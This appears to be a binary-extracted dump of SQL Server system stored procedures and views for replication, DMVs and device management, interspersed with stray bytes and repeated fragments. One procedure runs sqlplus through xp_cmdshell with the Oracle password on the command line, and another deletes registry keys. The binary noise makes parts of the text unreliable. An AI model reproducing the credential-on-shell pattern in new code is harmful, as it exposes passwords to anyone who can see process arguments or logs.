				 pc.length between hdm.source_length_min and hdm.source_length_max
				)
			)
	  AND	(
				(hdm.source_precision_min is null and hdm.source_precision_max is null and pc.prec is null) or
				(hdm.source_precision_min is not null and
				 hdm.source_precision_max is not null and
				 pc.prec between hdm.source_precision_min and hdm.source_precision_max
				)
			)
	  AND	(
				(hdm.source_scale_min is null and hdm.source_scale_max is null and pc.scale is null) or
				(hdm.source_scale_min is not null and
				 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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
v6(iD0\@ 8
--
-- Name:
--		sp_MSrepl_getpublisherinfo
--
-- Description:
--		Retrieve info about a publisher.
--		If output param is NULL, returns new value
--		If output is '%', returns a result set
--
-- Returns:
--		0 == Failed
--		1 == Succeed
--
-- Security:
--		public
--
-- Notes:
--		Primarily used for determining a pubtype as
--		well as building an RPC header for executing
--		commands in the correct context.
--
--		@publisher is rejected for MSSQLSERVER publications.
--		This is to prevent any unexpected security issues with
--		supplying the publisher name.  HREPL is designed from
--		the start to have this parameter and the code paths are
--		expecting to validate publisher names.  SQL Server only
--		code has no notion of this and generally needs to trust
--		the publisher name implicitly.
--

CREATE PROCEDURE sys.sp_MSrepl_getpublisherinfo
(
    @publisher sysname = NULL,
    @publisher_type sysname = NULL OUTPUT,
    @publisher_id int = NULL OUTPUT,
    @distributor sysname = NULL OUTPUT,
    @distribdb sysname = NULL OUTPUT,
    @rpcheader nvarchar(4000) = NULL OUTPUT,
    @hreplOnly bit = 0,
    @skipSecurityCheck bit = 0
)
AS
BEGIN
    set nocount on
    IF @publisher IS NULL
    BEGIN
        -- SQL Server
        -- Set output parameters
        SELECT  @publisher_type = N'MSSQLSERVER',
                    @publisher_id = 0,
                    @distributor = NULL,
                    @distribdb = NULL,
                    @rpcheader = N''
    END
    ELSE
    BEGIN
        -- HREPL publisher
        DECLARE @retcode int
                    ,@loc_pubtype sysname
                    ,@loc_publisherid int
                    ,@loc_distributor sysname
                    ,@loc_distribdb sysname
                    
        SELECT  @loc_pubtype = NULL,
                    @loc_publisherid = 0,
                    @loc_distributor = NULL,
                    @loc_distribdb = NULL

        IF @skipSecurityCheck = 0
        BEGIN
            -- Verify that the user is 'sysadmin' at the distributor
            -- HREPL always requires sysadmin.  HREPL is implied when @publisher
            -- is provided.  To avoid info disclosure, do a security check right
            -- now.  This prevents returning info if you shouldn't know about it.
            IF (IS_SRVROLEMEMBER('sysadmin') = 0)
            BEGIN
                RAISERROR(21089,16,-1)
                RETURN (1)
            END
        END

        -- Verify publisher name makes sense
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)

        -- Find distribution databse
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo    @publisher      = @publisher,
                                                                                @distributor    = @loc_distributor OUTPUT,
                                                                                @distribdb      = @loc_distribdb   OUTPUT,
                                                                                @publisher_type = @loc_pubtype     OUTPUT,
                                                                                @publisher_id   = @loc_publisherid OUTPUT
        IF @@error <> 0 OR @retcode <> 0 or (@loc_distributor IS NULL) or (@loc_distribdb IS NULL)
        BEGIN
            RAISERROR (14080, 16, -1, @publisher)
            RETURN (1)
        END

        IF @loc_pubtype = 'MSSQLSERVER'
        BEGIN
            IF @hreplOnly = 1
            BEGIN
                -- Publisher param for HREPL only
                RAISERROR(21774, 16, -1, @publisher)
            END
            ELSE
            BEGIN
                -- Publisher parameter only valid for HREPL
                RAISERROR(21606, 16, -1, '@publisher', 'NULL')
            END

            RETURN (1)
        END

        -- Verify that distributor is local.  If not, reject with error
        IF UPPER(@loc_distributor) != CONVERT(sysname, SERVERPROPERTY('ServerName'))
        BEGIN
            RAISERROR (21671, 16, -1)
            RETURN (1)
        END

        -- Set output parameters
        SELECT @publisher_type = @loc_pubtype,
               @publisher_id = @loc_publisherid,
               @distributor = @loc_distributor,
               @distribdb = @loc_distribdb,
               @rpcheader = QUOTENAME(@loc_distribdb) + N'.'
    END -- HREPL publisher block
    -- all done
    RETURN 0
END
0@ 8create procedure sys.sp_MSBumpupCompLevel(
@pubid                uniqueidentifier,
@new_level            int
)
as

declare @retcode int, @old_level int

/*
** Security Check
*/
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)
        
    select @old_level = backward_comp_level
    from dbo.sysmergepublications
    where pubid = @pubid
    
    if @old_level < @new_level and @new_level = 90
    begin
		raiserror(22561, 16, -1)
		return 1
	end

    /* always bump UP, not Down in any case */
    if object_id('dbo.sysmergepublications', 'U') is not null
    begin
        update dbo.sysmergepublications 
            set backward_comp_level= @new_level 
            where pubid=@pubid and backward_comp_level < @new_level
    end
    if @@ERROR<>0 return (1)

    return (0)
0 8create view sys.dm_os_server_diagnostics_log_configurations
as
	select *
	from OpenRowset(TABLE DIAGLOG_CONFIGS)
02@ U8create procedure sys.sp_MSget_type_wrapper
(
    @tabid int, 
    @colid int, 
    @colname sysname output, 
    @typestring nvarchar(4000) output
)
as
begin
    declare @retcode int
    
    -- Since Merge needs this proc to be public we will put a dbo check here
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode <> 0 or @@error<> 0
        return 1

    -- now we will call sp_MSget_type with tempdb context
    exec @retcode = tempdb.sys.sp_MSget_type @tabid, @colid, @colname output, @typestring output
    return @retcode
end
0D@ 8
-- add it
create view sys.dm_pdw_nodes as
select
	pdw_node_id,
	type collate database_default type,
	name collate database_default name,
	address collate database_default address,
	is_passive
from sys._dm_pdw_nodes
0ў 8create function sys.fn_remote_statistics(
	@server		sysname,
	@catalog	sysname = NULL,
	@schema		sysname = NULL,
	@name		sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_STATISTICS, @server, @catalog, @schema, @name)
0o)@ 8CREATE view sys.dm_hadr_instance_node_map
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_INSTANCE_NODE_MAP)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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                uniqueidentifier,
@new_level            int
)
as

declare @retcode int, @old_level int

/*
** Security Check
*/
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)
        
    select @old_level = backward_comp_level
    from dbo.sysmergepublications
    where pubid = @pubid
    
    if @old_level < @new_level and @new_level = 90
    begin
		raiserror(22561, 16, -1)
		return 1
	end

    /* always bump UP, not Down in any case */
    if object_id('dbo.sysmergepublications', 'U') is not null
    begin
        update dbo.sysmergepublications 
            set backward_comp_level= @new_level 
            where pubid=@pubid and backward_comp_level < @new_level
    end
    if @@ERROR<>0 return (1)

    return (0)
0 8create view sys.dm_os_server_diagnostics_log_configurations
as
	select *
	from OpenRowset(TABLE DIAGLOG_CONFIGS)
0 b8
CREATE PROCEDURE sys.sp_ORAenumarticlecolumninfo
(
	@publisher		sysname,
	@publication	sysname,
	@article		sysname,
    @defaults       bit
)
AS
BEGIN
    DECLARE	@retcode            int
    DECLARE @table_id			int
    DECLARE @publisher_id		int
    DECLARE @article_id			int
    DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname

    -- Set publisher DBMS and version
    SELECT	@publisher_dbms = 'ORACLE'

    EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
                                        @version	= @publisher_version OUTPUT

    IF @retcode != 0 OR @@ERROR != 0
    BEGIN
        RETURN (1)
    END

    -- Get table ID, article ID, and publisher ID 
    SELECT	@table_id			= a.table_id,
    		@publisher_id		= a.publisher_id,
    		@article_id			= a.article_id
    FROM	IHarticles a,
    		MSpublications p,
    		master..sysservers s
    WHERE	a.name				= @article
      AND	p.publication		= @publication
      AND	a.publication_id	= p.publication_id
      AND	a.publisher_id		= s.srvid
      AND	UPPER(s.srvname collate database_default)	= UPPER(@publisher) collate database_default

    IF @table_id IS NULL or @article_id IS NULL or @publisher_id IS NULL
    BEGIN
        RAISERROR(21615, 16, -1, @article)
        RETURN (1)
    END

    SELECT *
    FROM   sys.fn_ORAenumarticlecolumninfo(@publisher_id, @table_id, @article_id, @publisher_dbms, @publisher_version, @defaults) colinfo
	ORDER BY colinfo.[column_ordinal], colinfo.[is_defined] DESC, colinfo.[dest_datatype]

    RETURN (0) 
END
0ӹ@ V
8CREATE PROCEDURE sys.sp_MSlock_auto_sub
(
    @publisher_id int,
    @publisher_db sysname,
    @publication sysname,
    @reset bit = 0  /* @reset = 1 is used for Scheduled Snapshot publications by snapshot */
)
as
begin
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

  /* This sp only work for 7.0 publisher since it use the publication name */  
   set nocount on

    DECLARE @virtual smallint     /* const: virtual subscriber id */
    DECLARE @virtual_anonymous smallint /* const: virtual anonymous subscriber id */
    DECLARE @subscribed tinyint
    DECLARE @automatic tinyint
    DECLARE @publication_id int
    DECLARE @counter int
    DECLARE @independent_agent bit
    DECLARE @active tinyint

    SELECT @virtual = -1
    SELECT @virtual_anonymous = -2
    SELECT @subscribed = 1
    SELECT @active = 2
    SELECT @automatic = 1

    select @publication_id = publication_id , @independent_agent = independent_agent
        from dbo.MSpublications 
        where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication 


    /* 
    ** Set exclusive lock on the rows that will be updated to prevent deadlock 
    **      in snapshot agent.
    ** Note: using UPDATE lock may cause deadlock with sp_MSget_repl_commands as following
    ** 1. The distribution agent gets shared lock on dbo.MSsubscriptions.
    ** 2. The snapshot agent gets update lock on dbo.MSsubscriptions.
    ** 3. The snapshot agent gets exclusive lock on MSrepl_commands (inserting into the table)
    ** 4. The distribution agent waits to get shared lock on MSrepl_commands
    ** 5. The snapshot agent waits to convert update lock to exclusive lock on MSrepl_subscriptions (updating the table).
    */
    --SELECT @counter = COUNT(*) FROM dbo.MSsubscriptions with (ROWLOCK UPDLOCK)
    -- 1. Avoid defered updates: Don't update fields in the clusted index
    -- 2. Avoid updating fields in the where clause 
    UPDATE dbo.MSsubscriptions SET update_mode = update_mode 
      WHERE 
         publisher_id = @publisher_id and
         publisher_db = @publisher_db and
         publication_id = @publication_id and 
         /* virtual subscriptions are automatic sync type */
         sync_type = @automatic and 
         (status = @subscribed or 
         subscriber_id = @virtual or
         subscriber_id = @virtual_anonymous or
         @reset = 1) 
end
0
 D8.hk-lF @packageversion = @version
    BEGIN
        SET @versionsmatch = 1
        RETURN (0)
    END
    
    -- The installed package is SQL Server 2005 RTM or greater, or an
    -- older version of SQL Server 2008. Set @versionmatch to 2 to indicate
    -- that the package code should be refreshed, but the meta data tables
    -- should only be modified as needed.
    SET @versionsmatch = 2

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
0x`>	
<d=GhJ0 F8
create procedure sys.sp_MSunregistersubscription
(
    @publisher         sysname = NULL, 
    @publisher_db     sysname = NULL, 
    @publication     sysname = NULL, 
    @subscriber     sysname = NULL,
    @subscriber_db     sysname = NULL
)
AS
BEGIN
    /* 
    ** Drop the corresponding registry entry for MobileSync
    */
    declare @enabled    int
    declare    @retcode     int
    declare @regkey        nvarchar(1000)

    select @retcode = 0
    
    exec @retcode = sys.sp_MSreplcheck_subscribe

    if @@error <> 0 or @retcode <> 0
    BEGIN
        RETURN 1
    END

    -- Mark enabled_for_syncmgr bit before trying to delete the key
    -- If the row exists in MSreplication_properties table, 
    -- set enabled_for_syncmgr bit
    -- The logic need to be here because UI call this sp directly.
    IF OBJECT_ID('MSsubscription_properties') IS NOT NULL
    BEGIN
        UPDATE    MSsubscription_properties
        SET        enabled_for_syncmgr = 0
        WHERE    UPPER(publisher) = UPPER(@publisher)
          AND    publisher_db =  @publisher_db
          AND    publication = @publication

        IF @@ERROR <> 0
            RETURN 1
    END

    -- regdelete returns 'Access Denied' message if key does not exist; check before delete
    EXEC sys.sp_MSsubscription_enabled_for_syncmgr    @publisher,
                                                    @publisher_db,
                                                    @publication,
                                                    @subscriber,
                                                    @subscriber_db,
                                                    @enabled OUT,
                                                    @regkey OUT
    IF @@ERROR <> 0
        RETURN 1
        
    IF @enabled = 1 AND LEN(@regkey) > 0
    BEGIN
        EXECUTE @retcode = master.dbo.xp_regdeletekey 'HKEY_LOCAL_MACHINE', @regkey

        IF @@error != 0 OR @retcode != 0
        BEGIN
            return 1
        END
    END

    return 0
END
0 
8
--
-- Name:
--		sp_ORAloadscript
--
-- Description:
--		Executes script on Oracle server
--
-- Inputs:
--		@publisher		== publisher name (TNS name)
--		@script			== script file
--		@security_mode	== 0 - Oracle security; 1 - NT integrated security
--		@login			== Oracle login to server as schema owner
--		@password		== Oracle password
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Generates SQL*Plus command line to execute script using auth info
--
create procedure sys.sp_ORAloadscript
(
    @publisher		sysname,
    @script			sysname,
    @security_mode	bit = 1,
    @login			sysname = NULL,
    @password		sysname = NULL
)
AS
BEGIN
    SET NOCOUNT ON
	
	DECLARE @retcode			int
    DECLARE @install_path		nvarchar(255)
    DECLARE @mssql_data_path		nvarchar(255)
    DECLARE @script_cmd			nvarchar(4000)

    -- Security Check: require sysadmin
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Check to ensure a login is provided if security mode is SQL Server authentication.
	SELECT @login = RTRIM(LTRIM(ISNULL(@login, '')))
	IF @security_mode = 0 and @login = ''
	BEGIN
		-- @login cannot be null or empty when @security_mode is set to 0 (SQL Server authentication).'
		RAISERROR(21694, 16, -1, '@login', '@security_mode')
		RETURN (1)
	END

    IF @password = N''
    BEGIN
		SELECT @password = NULL
	END

    -- Get path to version specific INSTALL directory
    exec @retcode = sys.sp_MSget_setup_paths @sql_path = @install_path OUTPUT, @data_path = @mssql_data_path OUTPUT
    IF @retcode != 0 OR @install_path IS NULL OR @install_path = '' OR @mssql_data_path IS NULL OR @mssql_data_path = '' 
    BEGIN
        RETURN (1)       
    END
    
	-- Use SQL*Plus for loading scripts
	SELECT @script_cmd = '" "sqlplus.exe" "\"'
						+ sys.fn_escapecmdshellsymbolsremovequotes(@login) COLLATE DATABASE_DEFAULT + '\"/\"' 
						+ sys.fn_escapecmdshellsymbolsremovequotes(@password) COLLATE DATABASE_DEFAULT + '\"@'
						+ sys.fn_escapecmdshellsymbols(@publisher) COLLATE DATABASE_DEFAULT + '" @"'
						+ sys.fn_escapecmdshellsymbolsremovequotes(@install_path) COLLATE DATABASE_DEFAULT + '\install\' 
						+ sys.fn_escapecmdshellsymbolsremovequotes(@script) COLLATE DATABASE_DEFAULT +'.sql" > "'
						+ sys.fn_escapecmdshellsymbolsremovequotes(@mssql_data_path) COLLATE DATABASE_DEFAULT + '\log\' 
						+ sys.fn_escapecmdshellsymbolsremovequotes(@script) COLLATE DATABASE_DEFAULT + '.out"'

	EXEC @retcode = master.dbo.xp_cmdshell @script_cmd, NO_OUTPUT
	
	IF @retcode != 0 OR @@ERROR != 0
	BEGIN

		SELECT @script_cmd = '" "sqlplus.exe [ORALOGIN]/[ORAPASSWORD]@"'
						+ sys.fn_escapecmdshellsymbols(@publisher) COLLATE DATABASE_DEFAULT + '" @"'
						+ sys.fn_escapecmdshellsymbolsremovequotes(@install_path) COLLATE DATABASE_DEFAULT + '\install\' 
						+ sys.fn_escapecmdshellsymbolsremovequotes(@script) COLLATE DATABASE_DEFAULT +'.sql" > "'
						+ sys.fn_escapecmdshellsymbolsremovequotes(@mssql_data_path) COLLATE DATABASE_DEFAULT + '\log\' 
						+ sys.fn_escapecmdshellsymbolsremovequotes(@script) COLLATE DATABASE_DEFAULT + '.out"'

		RAISERROR (25017, 16, -1, @script_cmd)
		RETURN (1)
	END

    RETURN(0)
END
0@ <8create procedure sys.sp_MSscript_delete_statement 
(
    @publication sysname,
    @article     sysname, 
    @objid int,
    @artid int,
    @queued_pub bit = 0
)
as
BEGIN
    declare @cmd          nvarchar(4000)
                ,@qualname     nvarchar(517)
                ,@hfilterprocid int
                ,@sync_objid int

    --
    -- Check if we have horizontal partition filter
    --
    select @hfilterprocid = filter, @sync_objid = sync_objid from dbo.sysarticles where artid = @artid
    if (@hfilterprocid = 0)
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the source object
        --
        exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    end
    else
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the view object
        --
        exec sys.sp_MSget_qualified_name @sync_objid, @qualname OUTPUT
    end
    --
    -- start scripting
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- detection/conflict resolution stage
    ' + N'--'
    --
    -- queued specific scripting
    --
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
    if (@execution_mode = @QPubWins)
        save tran cftpass
    '
    end
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- script delete statement
    --
    select @cmd = N'
    delete ' + @qualname 
    insert into #proctext(procedure_text) values( @cmd )
    exec sys.sp_MSscript_where_clause @objid, @artid, 'upd version', 'msrepl_tran_version', 4
    --
    -- continue with scripting
    --
    select @cmd = N'
    select @rowcount = @@ROWCOUNT, @error = @@ERROR
    '
    --
    -- queued specific scripting
    --
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
    if (@execution_mode = @QPubWins)
        rollback tran cftpass
    '
    end
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- all done
    --
    return 0
END
0 P8Ph>=P0t=@ 8create procedure [sys].[sp_cdc_create_functions]
as
begin

	--create procs for populating lsn_time_mapping
	exec [sys].[sp_cdc_lsn_time_mapping_procs] @action = N'create'
    
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'c`D<1YA0f 8create function sys.fn_repladjustcolumnmap
(
    @objid    int
    ,@total_col int
    ,@inmap varbinary(4000)
) 
returns varbinary(4000)
as
begin
    declare @colmap table (relativeorder int identity(1,1), colid int)
    declare
        @outmap varbinary(4000)
        ,@relpos int
        ,@colid int
        ,@bytepos int
        ,@bitpos int
        ,@num_bytes int

    --
    -- initialize
    --
    select @outmap = cast(0 as binary(4000))
    insert into @colmap (colid)
        select column_id from sys.columns where object_id = @objid order by column_id
    if (@@error != 0)
    begin
        return cast(NULL as varbinary(4000))
    end

    --
    -- for each column in the column map
    --
    declare #colmap_cursor cursor local fast_forward for 
        select relativeorder, colid from @colmap 
        order by relativeorder
    for read only

    open #colmap_cursor
    fetch #colmap_cursor into @relpos, @colid
    while (@@fetch_status = 0)
    begin
        --
        -- select the absolute column position
        --
        select @bytepos = 1 + ((@colid-1) / 8)
            ,@bitpos =  power(2, (@colid-1) % 8 ) 

        if (substring(@inmap, @bytepos, 1) & @bitpos = @bitpos)
        begin
            --
            -- set the relative position for this column in the output
            --
            select @bytepos = 1 + ((@relpos-1) / 8)
                ,@bitpos =  power(2, (@relpos-1) % 8 )
                ,@num_bytes = @total_col / 8 + 1

            select @outmap = substring(@outmap, 1, (@bytepos - 1)) + 
                (convert(binary(1), substring(@outmap, @bytepos, 1) | convert(tinyint,@bitpos))) + 
                substring(@outmap, (@bytepos + 1), (@num_bytes - @bytepos))
        end

        -- fetch next column mapping
        fetch #colmap_cursor into @relpos, @colid        
    end
    close #colmap_cursor
    deallocate #colmap_cursor

    return @outmap
end
0%H 8create procedure sys.sp_dropdevice --- 1996/04/08 00:00
	@logicalname	sysname,		-- logical name of the device
	@delfile	varchar(7) = null	-- optional param. to delete disk file
as
	declare @delfileIn varchar(7)
	select @delfileIn = @delfile
	-- See if user specified something for @delfile and, if so, validate it.
	if @delfile is not null
	begin
		select @delfile = lower(@delfile collate Latin1_General_CI_AS)
		if @delfile <> 'delfile'
		begin
			raiserror(15216,-1,-1,@delfileIn)
			return(1)
		end
	end

	-- If we're in a transaction, disallow this since it might make recovery impossible.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dropdevice')
		return (1)
	end

	-- Only the system administrator (SA) can run this command.
	--  Check to make sure the executor is the sa.
	if not is_srvrolemember('diskadmin') = 1
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- Check and make sure that the device actually exists.
	if not exists (select * from master.dbo.sysdevices where name = @logicalname)
	begin
		raiserror(15012,-1,-1,@logicalname)
		return (1)
	end

	-- Drop the device.
	if @delfile = 'delfile'
		dbcc dbrepair
		('', 'dropdevice',@logicalname, 1)  WITH NO_INFOMSGS
	else
		dbcc dbrepair
		('', 'dropdevice',@logicalname, 0)  WITH NO_INFOMSGS

	if @@error <> 0
		return (1)

	raiserror(15463,-1,-1)

	return (0) -- sp_dropdevice
0; 8 
-- add it
create view sys.dm_pdw_nodes_tran_commit_table as
select *, convert(int, null) pdw_node_id from sys.dm_tran_commit_table
0S@ X8
--
-- Name:    
--          sp_ORAcompiletriggers
--          
-- Description: 
--          Force compile the defined Oracle triggers
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAcompiletriggers
(
	@publisher			sysname
)
AS
BEGIN
	declare @OracleCommand	nvarchar(4000),
			@retcode		int

	SET @retcode = 0

	SET NOCOUNT ON 

	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)
	
	-- Build command
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.CompileTriggers}')
	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21651, 16, -1, 'CompileTriggers', @publisher)
    	RETURN (1)
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F`4<w'3x0☩@ 8create procedure sys.sp_replsetoriginator (
	@originator_srv sysname, 
	@originator_db sysname,
	@publication sysname = NULL
)
as
	declare @retcode int
	/*
   	** Security Check, if @publication is supplied, check for PAL, otherwise DBO
   	*/
	if @publication  is not null
	begin
		exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
		if @@error <> 0 or @retcode <> 0
		begin
			return (1)
		end
	end
	else
	begin
   		exec @retcode = sys.sp_MSreplcheck_subscribe
	   	if @@ERROR <> 0 or @retcode <> 0
		begin
        	return(1)
		end
	end
    
	exec @retcode = sys.sp_replsetoriginator_internal @originator_srv, @originator_db
    if @@ERROR <> 0 or @retcode <> 0
	begin
        	return(1)
	end

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<		xp0L^ 8 
-- add it
create view sys.pdw_health_component_groups as
select
	group_id,
	group_name	collate database_default group_name
from sys._pdw_health_component_groups
0Xy 8CREATE PROCEDURE sys.sp_scriptupdmoderefresh
(
    @artid int                  -- id of the article we are processing
)
as
begin
    set nocount on
    declare @retcode int
                ,@publisher sysname
                ,@subscriber sysname
                ,@subscriber_db sysname
                ,@publisher_db sysname
                ,@publication sysname
                ,@pubid int
                ,@subscription_type int
                ,@update_mode int
                ,@cmd nvarchar(4000)

    --
    -- initialize
    --
    select @publisher = publishingservername()
            ,@publisher_db = db_name()
    --
    -- enumerate the active subscriptions for the article
    --
    declare #hcsubdata cursor local fast_forward for
        select a.pubid
            ,p.name
            ,s.srvname
            ,s.dest_db
            ,s.subscription_type
            ,s.update_mode
        from ((syspublications as p join sysarticles as a 
                    on p.pubid = a.pubid
                ) join syssubscriptions as s 
                    on a.artid = s.artid
                    and s.status = 2 
                    and s.sync_type != 2 
                    and s.update_mode != 0 
                ) 
        where s.artid = @artid
            and s.srvid <> -1 and s.srvname is not null and len(s.srvname) > 0
